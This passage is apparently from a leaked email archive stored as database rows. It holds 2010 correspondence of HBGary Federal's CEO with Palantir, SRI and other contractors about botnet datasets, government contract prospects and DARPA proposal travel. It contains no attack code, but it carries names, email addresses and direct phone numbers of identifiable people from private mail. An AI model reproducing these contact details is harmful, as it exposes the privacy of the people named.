202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n23, 2010 4:43 AM\r\nTo:&nbsp;Aaron Zollman\r\nCc:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for the delay. &nbsp;We don\'t keep network data around\r\nturns out, but Rich (CTO) is checking with some other partners to see if we can\r\nget some (Fidelis and Netwitness). &nbsp;I will let you know shortly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThat said, we kicked off the Threat Intelligence Center work\r\nlast Friday. &nbsp;As part of this effort we are going to start collecting\r\nproxy/network/netflow data.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron B!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI met Greg and (I think) Rich and Shaun in Sacramento on Tuesday\r\nto help introduce them to the platform; it was great to learn more about how\r\nyou track and respond to coordinated attacks.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRight now, I&#8217;m trying to model a fast-flux coordinated botnet in\r\nPalantir and show how someone with access to a good amount of passive DNS or\r\nproxy traffic can build a visual picture of the nodes involved in coordination,\r\nand how control and activity transfer over time.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRather than try and mock up a dataset from scratch, do you guys\r\nhave some historical logs to share, say from a few days of Storm, that might\r\nmake for a more believable or accurate model?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks &#8211;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Aaron Z.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n_________________________________________________________\r\nAaron Zollman\r\nPalantir Technologies | Embedded Analyst\r\nazollman@palantirtech.com&nbsp;| 202-684-8066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Matthew Steckman&nbsp;\r\nSent:&nbsp;Friday, February 19,\r\n2010 6:31 AM\r\nTo:&nbsp;Aaron Barr\r\nCc:&nbsp;Aaron Zollman\r\nSubject:&nbsp;Datasets\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nId\r\nlike to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp;\r\nDo you think you could work with him to get us some mock datasets to play\r\naround with in Palantir?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIll\r\nlet him pick up the thread from here, you should see an email from him with a\r\ndescription of what we&#8217;re looking for sometime today.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11866,'aaron_hbgary_com/11866.html'),(4302,'2010-03-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002305.M254467P3547Q4303.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Datasets','As to 1st IO I will be meeting with Ted Wagner. &nbsp;He is the Technical Lead on 1st IO. &nbsp;Also a reserve Colonel for an army cyber and IO group (can\'t remember the name).AaronOn Mar 21, 2010, at 10:14 AM, Matthew Steckman wrote:Just got back from the honeymoon, all is well, and I am tan……&nbsp;Yes we are at NTOC, I forwarded your question to Trae to see what he’s heard about it up there.&nbsp;1st&nbsp;I/O allegedly put a budget request in for us, albeit a very small one.&nbsp; Talk up interoperability!!!&nbsp; Make them think that they are no longer buying separate tools but a connected suite…you know the schpeel.&nbsp; Who are you meeting with, Jamie Guzman is our contact.&nbsp;Agreed on GovCon, just let me know how youd like to proceed.&nbsp;Best,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 11, 2010 10:00 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Datasets&nbsp;Matt. &nbsp;I can\'t remember but did u say you were in NTOC or not in NTOC? &nbsp;I think you said not.&nbsp;Not sure if you heard but NTOC is re-competing the contract a few years early. &nbsp;Lots of speculation as to why, most of it coming back as BAH is underperforming. &nbsp;CSC and ManTech have reached out to us for potential teaming for the proposal, both of whom I have talked to about the Threat Intelligence concept, so stay tuned.&nbsp;Also I am going to go see 1st IO jointly with Fidelis to talk about our joint capabilities for malware/network analysis and protection. &nbsp;I plan to discuss Threat Intelligence with them as well.&nbsp;Both Brian and I have been off the Threat Intelligence rails the last few weeks working the DARPA proposal, which has been extended until Mar 29th. &nbsp;I am going to have a conversation with him tomorrow on our path forward for GovCon. &nbsp;Neither of us want to put anything out there (and I am sure you don\'t either) unless it is ready for prime time. &nbsp;Will let you know.&nbsp;Aaron&nbsp;&nbsp;On Mar 11, 2010, at 12:47 PM, Aaron Zollman wrote:Aaron –&nbsp;Just to close the loop, we met with Fidelis at the RSA conference and may try to explore what a partnership would look like. We don’t have quite the pressing need for data anymore, so we have some time. Thanks again for the introduction.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 23, 2010 4:43 AMTo:&nbsp;Aaron ZollmanCc:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Datasets&nbsp;Aaron,&nbsp;Sorry for the delay. &nbsp;We don\'t keep network data around turns out, but Rich (CTO) is checking with some other partners to see if we can get some (Fidelis and Netwitness). &nbsp;I will let you know shortly.&nbsp;That said, we kicked off the Threat Intelligence Center work last Friday. &nbsp;As part of this effort we are going to start collecting proxy/network/netflow data.&nbsp;Aaron&nbsp;On Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:Hello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4266,'aaron_hbgary_com/4266.html'),(4303,'2010-03-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002305.M3729P3547Q4302.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Datasets','Hey Matt,Glad to hear you had a good time.So things are going well for us lately, lots of good feedback on Threat Intelligence. &nbsp;So we talked with Dave Luber who runs the ANO. &nbsp;He is going to run a test pilot of DDNA and also wants to talk about standing up a Threat Monitoring center with our malware repository and a few engineers. &nbsp;I am supposed to talk with him more about that next week. &nbsp;Also going up to NSA to talk with Jerry Bodman and Robert Nissen the last week of March, they are interested in the same. &nbsp;I am not sure what shop they are from yet. &nbsp;Also got a group out of DSO (think that might be IOC but not sure) that wants to talk about product integration and threat monitoring.Sounds like Xetrons meeting with 10th flt went well, more to come with their technical staff.As for the booth. &nbsp;I spoke with Tim. &nbsp;We are going to have an HBGary booth and we are going to talk about Aurora as a starting point and our efforts around Threat Intelligence. &nbsp;We will have some initial Palantir integration shots, but not a live demo. &nbsp;Tim thought that was good especially us being a strong cyber company, the flavor would be beneficial. &nbsp;So not the package I would want, but it is what I got. :) &nbsp;This will be strictly an HBGary booth.Thoughts?AaronOn Mar 21, 2010, at 10:14 AM, Matthew Steckman wrote:Just got back from the honeymoon, all is well, and I am tan……&nbsp;Yes we are at NTOC, I forwarded your question to Trae to see what he’s heard about it up there.&nbsp;1st&nbsp;I/O allegedly put a budget request in for us, albeit a very small one.&nbsp; Talk up interoperability!!!&nbsp; Make them think that they are no longer buying separate tools but a connected suite…you know the schpeel.&nbsp; Who are you meeting with, Jamie Guzman is our contact.&nbsp;Agreed on GovCon, just let me know how youd like to proceed.&nbsp;Best,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 11, 2010 10:00 PMTo:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Datasets&nbsp;Matt. &nbsp;I can\'t remember but did u say you were in NTOC or not in NTOC? &nbsp;I think you said not.&nbsp;Not sure if you heard but NTOC is re-competing the contract a few years early. &nbsp;Lots of speculation as to why, most of it coming back as BAH is underperforming. &nbsp;CSC and ManTech have reached out to us for potential teaming for the proposal, both of whom I have talked to about the Threat Intelligence concept, so stay tuned.&nbsp;Also I am going to go see 1st IO jointly with Fidelis to talk about our joint capabilities for malware/network analysis and protection. &nbsp;I plan to discuss Threat Intelligence with them as well.&nbsp;Both Brian and I have been off the Threat Intelligence rails the last few weeks working the DARPA proposal, which has been extended until Mar 29th. &nbsp;I am going to have a conversation with him tomorrow on our path forward for GovCon. &nbsp;Neither of us want to put anything out there (and I am sure you don\'t either) unless it is ready for prime time. &nbsp;Will let you know.&nbsp;Aaron&nbsp;&nbsp;On Mar 11, 2010, at 12:47 PM, Aaron Zollman wrote:Aaron –&nbsp;Just to close the loop, we met with Fidelis at the RSA conference and may try to explore what a partnership would look like. We don’t have quite the pressing need for data anymore, so we have some time. Thanks again for the introduction.&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 23, 2010 4:43 AMTo:&nbsp;Aaron ZollmanCc:&nbsp;Matthew SteckmanSubject:&nbsp;Re: Datasets&nbsp;Aaron,&nbsp;Sorry for the delay. &nbsp;We don\'t keep network data around turns out, but Rich (CTO) is checking with some other partners to see if we can get some (Fidelis and Netwitness). &nbsp;I will let you know shortly.&nbsp;That said, we kicked off the Threat Intelligence Center work last Friday. &nbsp;As part of this effort we are going to start collecting proxy/network/netflow data.&nbsp;Aaron&nbsp;On Feb 19, 2010, at 12:41 PM, Aaron Zollman wrote:Hello Aaron B!&nbsp;I met Greg and (I think) Rich and Shaun in Sacramento on Tuesday to help introduce them to the platform; it was great to learn more about how you track and respond to coordinated attacks.&nbsp;Right now, I’m trying to model a fast-flux coordinated botnet in Palantir and show how someone with access to a good amount of passive DNS or proxy traffic can build a visual picture of the nodes involved in coordination, and how control and activity transfer over time.&nbsp;Rather than try and mock up a dataset from scratch, do you guys have some historical logs to share, say from a few days of Storm, that might make for a more believable or accurate model?&nbsp;Thanks –&nbsp; Aaron Z.&nbsp;&nbsp;_________________________________________________________Aaron ZollmanPalantir Technologies | Embedded Analystazollman@palantirtech.com&nbsp;| 202-684-8066&nbsp;From:&nbsp;Matthew Steckman&nbsp;Sent:&nbsp;Friday, February 19, 2010 6:31 AMTo:&nbsp;Aaron BarrCc:&nbsp;Aaron ZollmanSubject:&nbsp;Datasets&nbsp;Aaron,&nbsp;Id like to introduce you to one of our cyber technical SMEs, Aaron Zollman.&nbsp; Do you think you could work with him to get us some mock datasets to play around with in Palantir?&nbsp;Ill let him pick up the thread from here, you should see an email from him with a description of what we’re looking for sometime today.&nbsp;Thanks,Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7096,'aaron_hbgary_com/7096.html'),(4304,'2010-03-21','\"Kathryn Tracy\" <kathryn.tracy@sri.com>','/aaron@hbgary.com/new/1297002305.M538635P3547Q4304.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,','Re: RFP','\r\n\r\n\r\n  \r\n  \r\n\r\n\r\nHi Aaron,\r\n\r\nThank you for your response yesterday.\r\nYou sent me the same RFP that I already have and did not answer my\r\nquestions below.&nbsp; I\'m sorry if I appear to be nagging\r\nyou, but I simply can not finish the pricing until I have answers.&nbsp; We\r\nare running out of time and I\'m worried about my ability \r\nto be able to get you a complete proposal package plus the government\r\npackage in time.&nbsp; Could someone please answer\r\nmy questions or could you please forward my email to someone who can?\r\nThank you.\r\n\r\nBest regards,\r\nkat\r\n\r\nOn 3/20/2010 7:08 PM, Aaron Barr wrote:\r\nHi Karen,\r\n  \r\n  \r\n  I had sent the RFP to Phil, sorry. &nbsp;Attached is the RFP I had\r\nsent to him. &nbsp;Please let me know if this clears up your questions.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  On Mar 20, 2010, at 5:27 PM, Kathryn Tracy wrote:\r\n  \r\n  \r\n    Dear Aaron,\r\n    \r\nI am working with Phil and SRIs Contracts Admin. Colleen Ferguson, to\r\npull together SRIs cost proposal so we can submit it asap.\r\nI have the version of the SOW that was attached to your email below,\r\nhowever I still have some questions.\r\n    \r\nThe SOW that was attached to this email did not list SRI in the the\r\ncorrect tasks in the WBS.\r\nCan I assume SRI is only involved in Task 1?&nbsp; Also, Phil gave me the\r\ntravel details below however\r\nthey do not match the travel in the SOW.&nbsp; Could you please let me know\r\nwhich is correct and if\r\nPhil\'s list below is the correct version, could you please let me know\r\nwhat month the trips\r\nwill occur so that I can correctly spread our costs by month.\r\n    \r\n    Travel: WHAT MONTHS?\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2010:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 Trips x 2 people to WDC\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2011:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7 Trips x 2 people to WDC\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2012:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5 Trips x 2 people to WDC\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2013:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 Trips x 2 people to WDC\r\n    \r\n    \r\nThanks very much,\r\n    Best,\r\nkat\r\n    \r\nOn 3/19/2010 7:26 PM, Phil Porras wrote:\r\n    \r\n      X-AuditID:\r\n80125573-b7b3eae000005555-bb-4ba1bea80922 \r\nX-Spam-Status: No, score=0.0 threshold=8.0 \r\nX-Spam-Level: \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n        \r\nSubject: RFP \r\nDate: Thu, 18 Mar 2010 01:48:18 -0400 \r\nTo: Phil Porras &lt;porras@csl.sri.com&gt;, vinod@csl.sri.com \r\nX-Mailer: Apple Mail (2.1077) \r\nX-Brightmail-Tracker: AAAAAhNWaw4TVm8z \r\n        \r\nGuys, \r\n        \r\nAttached is the second draft with updated travel and WBS sections.&nbsp; The\r\nnumbers don\'t exactly match yet, but they will tomorrow and we will get\r\nout a final to you but I wanted to get this out to you first for\r\npricing purposes. \r\n        \r\nThanks \r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n        \r\n        \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n',6764,'aaron_hbgary_com/6764.html'),(4305,'2010-03-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002305.M812271P3547Q4305.eml','\"Kathryn Tracy\" <kathryn.tracy@sri.com>,\"Kathryn Tracy\" <kathryn.tracy@sri.com>,','Re: RFP','sure sorry. &nbsp;I was confused by the term SOW vs. RFP and thought we provide the information. &nbsp;Let me see if I can clarify.That is correct, currently SRI is only involved in Task 1.The trips are located at the end of the RFP. &nbsp;So based on the following table assume 2 engineers (your lead and 1 other) for the dates listed to the following meetings.Aaron\r\n\r\n\r\n\r\nPurpose\r\n\r\nLocation\r\n\r\nDates\r\n\r\nPersonnel\r\n\r\n\r\n\r\nTeam Kickoff Meeting\r\n\r\nWashington DC\r\n\r\n14-15 Jul 2010\r\n\r\n2 engineers\r\n\r\n\r\n\r\nDARPA Kickoff Workshop\r\n\r\nWashington, DC\r\n\r\n29-30 Jul 2010\r\n\r\n2 engineers\r\n\r\n\r\n\r\nPeriod 1A Technical Interchange and Quarterly Team Meeting\r\n\r\nSacramento, CA\r\n\r\n18-20 Oct 2010\r\n\r\n2 engineers\r\n\r\n\r\n\r\nSan Antonio, TX\r\n\r\n10-12 Jan 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nNorthport, NY\r\n\r\n28-30 Mar 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nAnnapolis Junction, MD\r\n\r\n27-28 Apr 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nPeriod 1B Technical Interchange and Quarterly Team Meeting\r\n\r\nSan Antonio, TX\r\n\r\n19-22 Sep 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nNorthport, NY\r\n\r\n19-22 Dec 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nAnnapolis Junction, MD\r\n\r\n12-15 Mar 2012\r\n\r\n2 engineers\r\n\r\n\r\n\r\nSacramento, CA\r\n\r\n7-8 May 2012\r\n\r\n2 engineers\r\n\r\n\r\n\r\nPeriod 2A Technical Interchange and Quarterly Team Meeting\r\n\r\nNorthport, NY\r\n\r\n24-27 Sep 2012\r\n\r\n2 engineers\r\n\r\n\r\n\r\nAnnapolis Junction, MD\r\n\r\n18-21 Dec 2012\r\n\r\n2 engineers\r\n\r\n\r\n\r\nSacramento, CA\r\n\r\n11-13 Mar 2013\r\n\r\n2 engineers\r\n\r\n\r\n\r\nSan Antonio, TX\r\n\r\n2-3 May 2013\r\n\r\n2 engineers\r\n\r\n\r\n\r\nPeriod 2B Technical Interchange and Quarterly Team Meeting\r\n\r\nAnnapolis Junction, MD\r\n\r\n23-26 Sep 2013\r\n\r\n2 engineers\r\n\r\n\r\n\r\nSacramento, CA\r\n\r\n17-20 Dec 2013\r\n\r\n2 engineers\r\n\r\n\r\n\r\nSan Antonio, TX\r\n\r\n10-12 Mar 2014\r\n\r\n2 engineers\r\n\r\n\r\n\r\nNorthport, NY\r\n\r\n30 Apr – 1 May 2014\r\n\r\n2 engineers\r\n\r\n\r\n\r\nDARPA Annual Review Meeting\r\n\r\nWashington, DC\r\n\r\n17-30 Mar&nbsp; 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nWashington, DC\r\n\r\n7-8 May 2012\r\n\r\n2 engineers\r\n\r\n\r\n\r\nWashington, DC\r\n\r\n6-7 May 2013\r\n\r\n2 engineers\r\n\r\n\r\n\r\nWashington, DC\r\n\r\n5-6 May 2014\r\n\r\n2 engineers\r\n\r\n\r\n\r\nDARPA IV&amp;V\r\n\r\nWashington, DC\r\n\r\n24-27 May 2011\r\n\r\n2 engineers\r\n\r\n\r\n\r\nWashington, DC\r\n\r\n27-30 May 2014\r\n\r\n2 engineers\r\n\r\n\r\n\r\nOn Mar 21, 2010, at 4:25 PM, Kathryn Tracy wrote:\r\n\r\nHi Aaron,\r\n\r\nThank you for your response yesterday.\r\nYou sent me the same RFP that I already have and did not answer my\r\nquestions below.&nbsp; I\'m sorry if I appear to be nagging\r\nyou, but I simply can not finish the pricing until I have answers.&nbsp; We\r\nare running out of time and I\'m worried about my ability \r\nto be able to get you a complete proposal package plus the government\r\npackage in time.&nbsp; Could someone please answer\r\nmy questions or could you please forward my email to someone who can?\r\nThank you.\r\n\r\nBest regards,\r\nkat\r\n\r\nOn 3/20/2010 7:08 PM, Aaron Barr wrote:\r\nHi Karen,\r\n  \r\n  \r\n  I had sent the RFP to Phil, sorry. &nbsp;Attached is the RFP I had\r\nsent to him. &nbsp;Please let me know if this clears up your questions.\r\n  \r\n  \r\n  Aaron\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  On Mar 20, 2010, at 5:27 PM, Kathryn Tracy wrote:\r\n  \r\n  \r\n    Dear Aaron,\r\n    \r\nI am working with Phil and SRIs Contracts Admin. Colleen Ferguson, to\r\npull together SRIs cost proposal so we can submit it asap.\r\nI have the version of the SOW that was attached to your email below,\r\nhowever I still have some questions.\r\n    \r\nThe SOW that was attached to this email did not list SRI in the the\r\ncorrect tasks in the WBS.\r\nCan I assume SRI is only involved in Task 1?&nbsp; Also, Phil gave me the\r\ntravel details below however\r\nthey do not match the travel in the SOW.&nbsp; Could you please let me know\r\nwhich is correct and if\r\nPhil\'s list below is the correct version, could you please let me know\r\nwhat month the trips\r\nwill occur so that I can correctly spread our costs by month.\r\n    \r\n    Travel: WHAT MONTHS?\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2010:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 Trips x 2 people to WDC\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2011:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7 Trips x 2 people to WDC\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2012:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5 Trips x 2 people to WDC\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2013:\r\n    \r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 Trips x 2 people to WDC\r\n    \r\n    \r\nThanks very much,\r\n    Best,\r\nkat\r\n    \r\nOn 3/19/2010 7:26 PM, Phil Porras wrote:\r\n    \r\n      X-AuditID:\r\n80125573-b7b3eae000005555-bb-4ba1bea80922 \r\nX-Spam-Status: No, score=0.0 threshold=8.0 \r\nX-Spam-Level: \r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n        \r\nSubject: RFP \r\nDate: Thu, 18 Mar 2010 01:48:18 -0400 \r\nTo: Phil Porras &lt;porras@csl.sri.com&gt;, vinod@csl.sri.com \r\nX-Mailer: Apple Mail (2.1077) \r\nX-Brightmail-Tracker: AAAAAhNWaw4TVm8z \r\n        \r\nGuys, \r\n        \r\nAttached is the second draft with updated travel and WBS sections.&nbsp; The\r\nnumbers don\'t exactly match yet, but they will tomorrow and we will get\r\nout a final to you but I wanted to get this out to you first for\r\npricing purposes. \r\n        \r\nThanks \r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n        \r\n        \r\n      \r\n    \r\n    \r\n  \r\n  \r\n  \r\n  \r\n  Aaron Barr\r\n  CEO\r\n  HBGary Federal Inc.\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1589,'aaron_hbgary_com/1589.html'),(4306,'2010-03-21','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297002306.M26048P3547Q4306.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,bob@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Change in POCs for AVI-Secure Decisions proposal to HBGary for TA3','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Ted, Bob &#8211;\r\n\r\n&nbsp;\r\n\r\nBrianne O&#8217;Brien has a family crisis and will not be in\r\nthe office this week. She was in the middle of preparing the Secure\r\nDecisions&#8217; response to your RFP. Ebbe Reker is the new POC for assembling\r\nour response to your RFP. This will obviously have some impact on our schedule\r\nfor delivering our proposal to you. We will apprise you on Tuesday of when we\r\ncan get you our proposal package.\r\n\r\n&nbsp;\r\n\r\nAll questions related to the technical approach should to be\r\naddressed to Kenny Prole, &nbsp;cc&#8217;d to Ebbe Reker and me. \r\n\r\n&nbsp;\r\n\r\n**All other questions (i.e. not specifically related to the\r\ntechnical approach) should be addressed to Ebbe Reker, cc&#8217;d to me.\r\n\r\n&nbsp;\r\n\r\n**Please forward to Ebbe Reker any material you sent to\r\nBrianne since March 